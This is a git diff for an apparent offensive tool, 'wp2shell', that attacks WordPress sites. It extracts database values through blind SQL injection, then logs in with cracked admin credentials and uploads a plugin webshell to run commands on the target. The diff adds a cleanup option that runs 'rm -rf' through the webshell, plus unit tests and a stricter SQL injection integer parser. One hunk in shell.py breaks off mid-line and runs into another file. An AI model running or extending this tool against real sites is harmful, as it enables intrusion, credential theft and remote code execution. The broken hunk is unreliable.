diff --git a/README.md b/README.md index e397559..9d06bcc 100644 --- a/README.md +++ b/README.md @@ -98,13 +98,14 @@ plaintext here after offline cracking. ``` `shell` uploads a plugin webshell (locked behind a random path and a per-run token) and prints its -path. Remove it when finished. +path. Remove it when finished — either pass `--cleanup` to have it delete itself after running, or +delete the plugin manually. ## Options | Option | Applies to | Description | | ------------------- | ---------- | -------------------------------------------------------------------- | -| `--rest-route` | all | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). | +| `--rest-route` | check, read | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). | | `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). | | `--timeout N` | all | Request timeout in seconds. | | `--sleep N` | check | Delay used to confirm the injection. | @@ -114,8 +115,9 @@ path. Remove it when finished. | `--prefix` | read | Database table prefix (default `wp_`). | | `--max-length N` | read | Maximum characters read per value (default 128). | | `--user` / `--password` | shell | Admin credentials (plaintext, recovered from the hash). | -| `--cmd` | shell | Command to run (omit when using `-i`). | +| `--cmd` | shell | Command to run (omit when using `-i`). | | `-i` / `--interactive` | shell | Open an interactive shell after deploying. | +| `--cleanup` | shell | Delete the webshell from the target when finished. | ## Remediation diff --git a/tests/test_cli.py b/tests/test_cli.py new file mode 100644 index 0000000..1fb00a5 --- /dev/null +++ b/tests/test_cli.py @@ -0,0 +1,86 @@ +import contextlib +import io +import unittest +from unittest import mock + +from wp2shell import cli + + +class ShellCommandTests(unittest.TestCase): + def test_cleanup_runs_when_command_execution_raises(self): + class FakeSession: + instance = None + + def __init__(self, *args, **kwargs): + self.cleaned = False + type(self).instance = self + + def login(self, username, password): + return True + + def deploy_webshell(self): + return "/wp-content/plugins/wp2shell_test/wp2shell_test.php" + + def run(self, path, command): + raise OSError("connection dropped") + + def cleanup(self, path): + self.cleaned = True + return True + + with mock.patch.object(cli, "AdminSession", FakeSession): + rc = cli.main( + [ + "shell", + "http://target", + "--user", + "admin", + "--password", + "password", + "--cmd", + "id", + "--cleanup", + ] + ) + + self.assertEqual(rc, 1) + self.assertTrue(FakeSession.instance.cleaned) + + def test_keep_and_cleanup_are_mutually_exclusive(self): + parser = cli.build_parser() + with contextlib.redirect_stderr(io.StringIO()), self.assertRaises(SystemExit): + parser.parse_args( + [ + "shell", + "http://target", + "--user", + "admin", + "--password", + "password", + "--cmd", + "id", + "--keep", + "--cleanup", + ] + ) + + def test_rest_route_is_not_a_shell_option(self): + parser = cli.build_parser() + with contextlib.redirect_stderr(io.StringIO()), self.assertRaises(SystemExit): + parser.parse_args( + [ + "shell", + "http://target", + "--user", + "admin", + "--password", + "password", + "--cmd", + "id", + "--rest-route", + ] + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_shell.py b/tests/test_shell.py new file mode 100644 index 0000000..84a9701 --- /dev/null +++ b/tests/test_shell.py @@ -0,0 +1,37 @@ +import io +import unittest +import urllib.error +import zipfile +from unittest import mock + +from wp2shell.shell import AdminSession + + +class AdminSessionTests(unittest.TestCase): + def test_webshell_changes_to_its_plugin_directory(self): + session = AdminSession("http://target") + with zipfile.ZipFile(io.BytesIO(session._plugin_zip())) as archive: + php = archive.read(f"{session._slug}/{session._slug}.php").decode() + + self.assertIn("chdir(__DIR__);", php) + + def test_cleanup_confirms_a_missing_webshell(self): + session = AdminSession("http://target") + session.run = mock.Mock(return_value="") + session._get = mock.Mock( + side_effect=urllib.error.HTTPError("http://target/shell", 404, "missing", {}, None) + ) + + self.assertTrue(session.cleanup("/shell")) + command = session.run.call_args.args[1] + self.assertIn("*/wp-content/plugins/*", command) + + def test_cleanup_handles_a_request_failure(self): + session = AdminSession("http://target") + session.run = mock.Mock(side_effect=OSError("connection dropped")) + + self.assertFalse(session.cleanup("/shell")) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_sqli.py b/tests/test_sqli.py new file mode 100644 index 0000000..2f06e78 --- /dev/null +++ b/tests/test_sqli.py @@ -0,0 +1,23 @@ +import unittest +from unittest import mock + +from wp2shell.sqli import BlindSQLi + + +class BlindSQLiIntegerTests(unittest.TestCase): + def test_integer_rejects_failed_extraction(self): + sqli = BlindSQLi(mock.Mock()) + sqli.extract = mock.Mock(return_value="") + + with self.assertRaisesRegex(ValueError, "expected an integer"): + sqli.integer("SELECT COUNT(*)") + + def test_integer_accepts_signed_values(self): + sqli = BlindSQLi(mock.Mock()) + sqli.extract = mock.Mock(return_value=" -12 ") + + self.assertEqual(sqli.integer("SELECT -12"), -12) + + +if __name__ == "__main__": + unittest.main() diff --git a/wp2shell/cli.py b/wp2shell/cli.py index 69b65b4..4ceca78 100644 --- a/wp2shell/cli.py +++ b/wp2shell/cli.py @@ -213,34 +213,49 @@ def cmd_shell(args: argparse.Namespace) -> int: good(f"Webshell: {args.url.rstrip('/')}{path}") rc = 0 - if args.cmd: - output = session.run(path, args.cmd) - if output is None: - bad("No output — the upload likely failed (nonce/permissions) or the plugin is not web-served.") - rc = 1 - else: - print() - print(output.rstrip("\n")) - print() + try: + if args.cmd: + output = session.run(path, args.cmd) + if output is None: + bad("No output — the upload likely failed (nonce/permissions) or the plugin is not web-served.") + rc = 1 + else: + print() + print(output.rstrip("\n")) + print() - if args.interactive: - _repl(session, path) - - if not args.keep: - warn(f"Remove the webshell when finished (delete {path} on the target).") + if args.interactive: + _repl(session, path) + finally: + if args.cleanup: + info("Cleaning up webshell...") + try: + removed = session.cleanup(path) + except Exception as exc: # noqa: BLE001 - cleanup must not hide the original failure + bad(f"Cleanup failed ({exc}) — remove the plugin manually ({path}).") + rc = 1 + else: + if removed: + good("Webshell removed from the target.") + else: + bad(f"Cleanup failed — remove the plugin manually ({path}).") + rc = 1 + elif not args.keep: + warn(f"Remove the webshell when finished (delete {path} on the target).") return rc # -- parser ----------------------------------------------------------------- -def _add_common(parser: argparse.ArgumentParser) -> None: +def _add_common(parser: argparse.ArgumentParser, *, rest_route: bool = True) -> None: parser.add_argument("url", help="target base URL, e.g. http://target") - parser.add_argument( - "--rest-route", - action="store_true", - help="use /?rest_route=/batch/v1 instead of /wp-json/batch/v1", - ) + if rest_route: + parser.add_argument( + "--rest-route", + action="store_true", + help="use /?rest_route=/batch/v1 instead of /wp-json/batch/v1", + ) parser.add_argument("--timeout", type=float, default=30.0, help="request timeout (default: 30)") parser.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080") @@ -279,13 +294,17 @@ def build_parser() -> argparse.ArgumentParser: read.set_defaults(func=cmd_read) shell = sub.add_parser("shell", help="post-auth plugin webshell helper") - _add_common(shell) + _add_common(shell, rest_route=False) # shell uses wp-login/wp-admin directly, not the REST API shell.add_argument("--user", required=True, help="admin username") shell.add_argument("--password", required=True, help="admin password (cracked from the hash)") shell.add_argument("--cmd", help="command to run on the target (omit when using --interactive)") shell.add_argument("-i", "--interactive", action="store_true", help="open an interactive shell after deploying") - shell.add_argument("--keep", action="store_true", help="do not warn about removing the webshell") + retention = shell.add_mutually_exclusive_group() + retention.add_argument("--keep", action="store_true", + help="do not warn about removing the webshell") + retention.add_argument("--cleanup", action="store_true", + help="delete the webshell from the target when finished") shell.set_defaults(func=cmd_shell) return parser diff --git a/wp2shell/shell.py b/wp2shell/shell.py index d3ff363..8862443 100644 --- a/wp2shell/shell.py +++ b/wp2shell/shell.py @@ -10,6 +10,7 @@ import http.cookiejar import io import re import secrets +import urllib.error import urllib.parse import urllib.request import uuid @@ -79,6 +80,30 @@ class AdminSession: match = re.search(rf"{_MARKER}::(.*?)::END", output, re.S) return match.group(1) if match else None + def cleanup(self, shell_path: str) -> bool: + """Delete the webshell plugin directory from the target (best effort). + + The generated webshell changes to its own plugin directory before + executing commands. The case guard refuses to delete anything that does + not look like a plugins directory. A subsequent 404 confirms removal. + """ + try: + out = self.run( + shell_path, + 'd=$(pwd); case "$d" in */wp-content/plugins/*) cd / && rm -rf "$d";; esac', + ) + except OSError: + return False + if out is None: + return False + try: + self._get(shell_path) + except urllib.error.HTTPError as exc: + return exc.code == 404 + except OSError: + return False + return False + # -- helpers ------------------------------------------------------------ def _get(self, path: str) -> str: @@ -97,6 +122,7 @@ class AdminSession: php = ( " int: - """Read an integer-valued SQL expression.""" + """Read an integer-valued SQL expression. + + Raises ValueError when the extracted text is not an integer, so a + failed extraction cannot be mistaken for a real count of zero. + """ text = self.extract(expression).strip() - return int(text) if text.lstrip("-").isdigit() else 0 + if not text.lstrip("-").isdigit(): + raise ValueError(f"expected an integer from {expression!r}, got {text!r}") + return int(text) def _elapsed(self, sql: str) -> float: self.requests += 1